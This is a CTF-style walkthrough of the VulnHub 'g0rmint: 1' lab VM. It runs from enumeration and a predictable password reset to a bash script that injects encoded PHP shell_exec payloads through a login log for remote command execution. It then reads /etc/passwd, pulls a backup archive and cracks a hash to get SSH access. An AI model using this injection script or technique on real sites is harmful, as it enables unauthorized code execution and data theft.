This post documents the complete walkthrough of g0rmint: 1, a boot2root VM created by Noman Riffat, and hosted at VulnHub. If you are uncomfortable with spoilers, please stop reading now.

On this post


The Gormint Aunty is a social media sensation made famous by her “yeh bik gai hai gormint” rant to a news reporter. In other words, she’s the boss. :sunglasses:

Information Gathering

Let’s kick this off with a nmap scan to establish the services available in the host.

# nmap -n -v -Pn -p- -A --reason -oN nmap.txt
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 e4:4e:fd:98:4e:ae:5d:0c:1d:32:e8:be:c4:5b:28:d9 (RSA)
|_  256 9b:48:29:39:aa:f5:22:d3:6e:ae:52:23:2a:ae:d1:b2 (ECDSA)
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.18
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 1 disallowed entry
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: 404 Not Found

nmap finds 80/tcp open and there’s a disallowed entry /g0rmint/* in robots.txt. Here’s what I see in my browser when I navigate to /g0rmint.



Directory/File Enumeration

Let’s find out the directories and/or files with dirbuster.


File found: /g0rmint/config.php - 200
File found: /g0rmint/footer.php - 200
File found: /g0rmint/header.php - 200
File found: /g0rmint/login.php - 200
File found: /g0rmint/mainmenu.php - 200
File found: /g0rmint/reset.php - 200
File found: /g0rmint/dummy.php - 302
File found: /g0rmint/index.php - 302
File found: /g0rmint/logout.php - 302
File found: /g0rmint/profile.php - 302
File found: /g0rmint/secrets.php - 302

Among the PHP pages, we can disregard those that returns 302 (because they redirect back to /login.php) and those that returns nothing of value. The following pages are interesting:

  • /header.php
  • /login.php
  • /mainmenu.php
  • /reset.php

Let’s explore each page in turn in reverse order starting with /reset.php.

Password Reset Page

Well, the page looks like your normal password reset page. If you know the email address and the username, you’ll be able to reset the password.


At this point, I’m not aware of any email address or username. :sob:

Although this page appears interesting on the surface, the HTML source code offers a clue on how to proceed.


Here’s the source code. Notice /secretlogfile.php?


Navigating to the page redirects back to /login.php. No luck there. At least, it gives me the idea to look at the HTML source code closer for further hints.

Login Page

Indeed, if you look at the HTML source code of /login.php, something stands out.


A secret backup directory?! Take a mental note. :heavy_check_mark:

This page appears to contain the headers of the admin portal and it shows the admin’s full name at the dropdown menu—Noman Riffat.


Again, looking at the HTML source code of this page, one of the CSS proves interesting—style.css.

* Author: noman
* Author Email: [email protected]
* Version: 1.0.0
* g0rmint: Bik gai hai
* Copyright: Aunty g0rmint
* www:
* Site managed and developed by author himself

Could this be the email address and the username of the admin? Well, there’s a high chance if you compare it with the name on the header page.

Directory/File Enumeration (2)

Remember the secret backup directory? Taking a leaf from the previous enumeration with dirbuster, let’s give it another shot starting with this path: /g0rmint/s3cretbackupdirect0ry.

File found: /g0rmint/s3cretbackupdirect0ry/info.php - 200

Good. One more page shows up.

Information Page

This page proves to be informative despite its lack of aesthetics.


Backup Archive

Let’s peek inside the backup archive at /g0rmint/s3cretbackupdirect0ry/

# unzip -l
  Length      Date    Time    Name
---------  ---------- -----   ----
        0  2017-11-02 14:36   s3cr3t-dir3ct0ry-f0r-l0gs/
        0  2017-11-02 03:06   s3cretbackupdirect0ry/
      823  2017-11-02 20:22   config.php
     1251  2017-11-02 20:30   db.sql
      493  2017-11-02 17:01   deletesecretlogfile.php
      154  2017-11-02 17:01   dummy.php
       45  2017-11-02 00:46   footer.php
     5721  2017-11-01 23:45   header.php
     1986  2017-11-01 18:48   index.php
     7426  2017-11-02 17:00   login.php
       99  2017-11-02 17:02   logout.php
      847  2017-11-01 19:02   mainmenu.php
     5113  2017-11-02 17:02   profile.php
     7343  2017-11-02 14:39   reset.php
     2587  2017-11-03 14:22   secretlogfile.php
     2065  2017-11-01 23:42   secrets.php

      +++  ++++++++++++++++   +++

---------                     -------
  6183823                     181 files

Sweet. The archive appears to be the backup of the site.

Resetting Password

Suffice to say, the most obvious thing to try would be to look at db.sql for the admin credential. Too bad the credential ([email protected]:demo) isn’t the correct one.


Since the site backup is available, let’s take a look at the password reset mechanism and see if we can gain access into the site by resetting password.


All we’ve to do is to guess the email address and username. The “new” password is the first twenty characters from the SHA1 hash of the current GMT date/time.

Another advantage we have, is the current GMT date/time at the bottom of the password reset page.

Let’s give a shot to (email:[email protected]) and (username:noman) and see what we get.


The email address and username are correct.

I wrote to simplify the process of getting the “new” password in plaintext.

echo -n "$1" | sha1sum | cut -d' ' -f1 | cut -c1-20

# ./ "Friday 2nd of February 2018 02:08:53 PM"


The password reset works.

Remote Command Execution

Now that I’ve gained access to the g0rmint Admin Portal, this is also a good time to review the application source code and to determine our attack plan.

At the beginning of /login.php, I can introduce PHP code into the site through the addlog() function.


This is how the addlog() function in /config.php looks like.


When authentication fails, a PHP file at s3cr3t-dir3ct0ry-f0r-l0gs logs the value of the email field, in the format of "Y-m-d".php, where "Y" is the 4-digit year, "m" is the 2-digit month with a leading zero and "d" is the 2-digit day with a leading zero. To view the PHP file, you must first establish an authenticated session or you get redirected to the login page. This is because the content of dummy.php is at the top of the file.


I wrote, a bash script to automate what I’ve described—to execute remote commands on the host.



# authenticate
function authenticate() {
    curl -s \
         -c cookie \
         -d "email=$EMAIL&pass=$PASS&submit=submit" \
         http://$HOST/$BASE/login.php &>/dev/null

# encode
function encode() {
    for b in $(echo -n "$1" \
               | xxd -p \
               | sed -r 's/(..)/\1 /g'); do
        printf "chr(%d)\n" "0x$b"
    done \
    | tr '\n' '.' \
    | sed 's/.$//g'

# exploit
function exploit() {
    PAYLOAD=$(encode "$COMD")
    DATE=$(date "+%Y-%m-%d")
    curl -s \
         -b cookie \
         http://$HOST/$BASE/deletesecretlogfile.php?file=$DATE.php &>/dev/null
    curl -s \
         --data "email=<?php echo shell_exec($PAYLOAD);?>&pass=&submit=submit" \
         http://$HOST/$BASE/login.php &>/dev/null
    curl -s \
         -b cookie \
         http://$HOST/$BASE/$SECRET/$DATE.php \
    | sed -e 's/Failed login attempt detected with email: //' -e 's/<br>//g' \
    | sed '1d' \
    | sed '$d'

# main

# remove cookie jar
rm -rf cookie

The workhorse of the script is the encode() function. This function turns each ASCII characters of the command string into their ordinals. Each ordinal will go into the PHP chr() function and concatenate back as a string. This is to bypass addslashes() that is present in config.php.


Supply the email, password, and command as arguments, and the script spits out the result.

# ./ [email protected] 30e1a63a8968b727f276 "cat /etc/passwd"
g0rmint:x:1000:1000:Noman Riffat,,,:/home/g0rmint:/bin/bash
mysql:x:108:117:MySQL Server,,,:/nonexistent:/bin/false

Backup Archive (2)

There’s another at /var/www.

total 3672
drwxr-xr-x  3 root     root        4096 Nov  3 02:51 .
drwxr-xr-x 12 root     root        4096 Nov  2 03:42 ..
-rw-r--r--  1 root     root     3747496 Nov  3 02:43
drwxr-xr-x  3 www-data www-data    4096 Nov  3 04:08 html

I help myself to the file by copying it to the web root.

# ./ [email protected] 30e1a63a8968b727f276 "cp /var/www/ /var/www/html"

Next, I download the file using wget.

# wget
--2018-02-02 14:46:19--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 3747496 (3.6M) [application/zip]
Saving to: ‘’ 100%[==================================>] 3.57M --.-KB/s in 0.1s

2018-02-02 14:46:19 (27.6 MB/s) - ‘’ saved [3747496/3747496]

It appears to be like the previous with a twist. This time round, db.sql shows the original admin password hash.


The password hash was already cracked by an online MD5 cracker. The password is tayyab123.

SSH Login

Let’s try the credential (g0rmint:tayyab123) and see if we can get a low-privilege shell.



Privilege Escalation

Notice that g0rmint is able to sudo as root?


I sense the end is near…